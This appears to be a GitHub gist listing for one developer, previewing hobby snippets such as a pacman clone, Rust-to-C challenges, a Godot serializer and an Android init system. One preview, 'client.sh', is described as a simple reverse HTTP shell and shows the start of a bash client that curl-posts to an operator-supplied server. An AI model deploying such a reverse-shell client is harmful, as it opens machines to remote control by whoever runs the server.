Skip to content

Instantly share code, notes, and snippets.

View InfiniteCoder01's full-sized avatar
🏠
Working from home

InfiniteCoder InfiniteCoder01

🏠
Working from home
View GitHub Profile
@InfiniteCoder01
InfiniteCoder01 / README.md
Last active October 29, 2025 17:13
Tiny clone of pacman in python

pacman.py

Tiny clone of pacman to fetch arch packages binary cache. Best used with something like LFN or LFS Note: mount and su executables are setuid, but you will get weird permission errors with them unless you chown :root ./root/usr/bin/su or similar.

@InfiniteCoder01
InfiniteCoder01 / challenge.c
Created September 15, 2025 16:47
Challenge #3 from @nigelwithrow, this time converting a flwaed Rust version of Rock-Paper-Scissors to C
#include <stdbool.h>
#include <stdlib.h>
#include <stdio.h>
#define FAT_PTR_IMPL(T) \
typedef struct { \
void *ptr; \
T *meta; \
} FatPtr ## T;
@InfiniteCoder01
InfiniteCoder01 / challenge.cpp
Created August 15, 2025 14:55
A new and HARDER challenge from Nigel for converting Rust to C/C++
#include <assert.h>
#include <stddef.h>
#include <string>
// Option
template<typename T>
struct Option {
bool tag;
T value;
@InfiniteCoder01
InfiniteCoder01 / challenge.c
Created August 12, 2025 16:23
Nigel's challenge of converting Rust to C in the most painful way possible
#include <assert.h>
#include <stddef.h>
#include <stdbool.h>
// Option implementation
#define option(T) option_ ## T
#define option_method(T, M) option_ ## T ## _ ## M
#define option_genimpl(T) \
typedef struct { \
bool tag; \
@InfiniteCoder01
InfiniteCoder01 / README.md
Last active May 9, 2025 16:07
Godot 4 object to dictionary

This small script can convert any godot value to dictionary and back. Useful if you want to serialize/deserialize statically-typed values to/from JSON. Here is a small example:

var data = JSON.stringify(Serializer.serialize(self))
Serializer.deserialize(self, JSON.parse_string(file.get_as_text()))

Serializer.deserialize takes in the default value (which it uses to analyze types) and returns the new value. However, if your value is RefCounted, you can just pass it in and it will be modified in-place

@InfiniteCoder01
InfiniteCoder01 / README.md
Last active December 10, 2024 17:21
Tiny init system to use with Android kernel

This is a tiny init system, which in combination with the original kernel can be used to build a "functional GNU/Linux system". Can be used with pretty much any android system

Usage

Get aarch64-none-linux-gnu cross-compiler toolchain (for example here). Compile init using aarch64-none-linux-gnu-gcc init.c -o init -static Repack boot.img (or a TWRP recovery) using Android boot image editor Profit!

@InfiniteCoder01
InfiniteCoder01 / README.md
Last active October 19, 2024 13:02
Game of life in helix editor (experimental plugins in steel scheme PR)

Instructions

You will need a copy of this helix fork (works for sure in this commit, in case breaking changes happen)

Follow instructions in STEEL.md (you might need to add +stable after cargo to all commands if you get helix-term build errors, f. e. cargo xtask steel will become cargo +stable xtask steel) to install helix and steel and don't forget to run cargo xtask code-gen (or cargo +stable xtask code-gen) after you install helix to generate bindings

Copy all files in this gist into your helix config directory (game-of-life.scm into cogs subdirectory inside)

@InfiniteCoder01
InfiniteCoder01 / kitty.py
Created August 1, 2024 09:38
Minimal Kitty Graphics Protocol image example
# Prints a tiny orange image, using Kitty Graphics Protocol and a PNG
# Tested in Konsole and Kitty
# Image licensed as CC0
print('\x1b_Ga=T,f=100;iVBORw0KGgoAAAANSUhEUgAAAAoAAAAPCAYAAADd/14OAAAAAXNSR0IArs4c6QAAAJpJREFUKJFjZMADVIKs/8PYjPgUmeb/YmBgYGA4PZENu0J0RXfWHWVkwWXi6YlsDAwMDAx31h1lxLDaWlz1PzL/6MvbcHlGZEX7er6hmOpUwgVXzIhLEbpiRnyKGBgYGBiPv2dwXCvNwIRTBRqgjkLG4+8JK0RWxMCAw9fIihzXSkN8DROwFlf9vz/4KYopMEVwE5EVI/ORYwYAW+BBDZRW2fwAAAAASUVORK5CYII=\x1b\\')
@InfiniteCoder01
InfiniteCoder01 / client.sh
Created July 6, 2024 19:11
Simple reverse HTTP shell (bash for client, python for server)
#!/usr/bin/env bash
SERVER="$1"
TIMEOUT="$2"
TIMEOUT=${TIMEOUT:-600}
if [ -z "$SERVER" ]; then
echo -e "\e[31m[!] Usage: bash client.sh [HOST] [Optional curl timeout]\e[0m\n"
exit 0
fi
curl --silent --max-time $TIMEOUT -X POST --data 'Hello, hacker!' $SERVER
@InfiniteCoder01
InfiniteCoder01 / renderer.rs
Created November 15, 2023 14:30
Just a random heavily-paralellized piece of code that can draw to a framebuffer. You can make a library out of it
use fontdue::layout::Layout;
use rayon::{prelude::*, slice::ParallelSliceMut};
#[derive(Clone, Copy, Debug, PartialEq, Eq, PartialOrd, Ord)]
pub struct Color {
pub r: u8,
pub g: u8,
pub b: u8,
}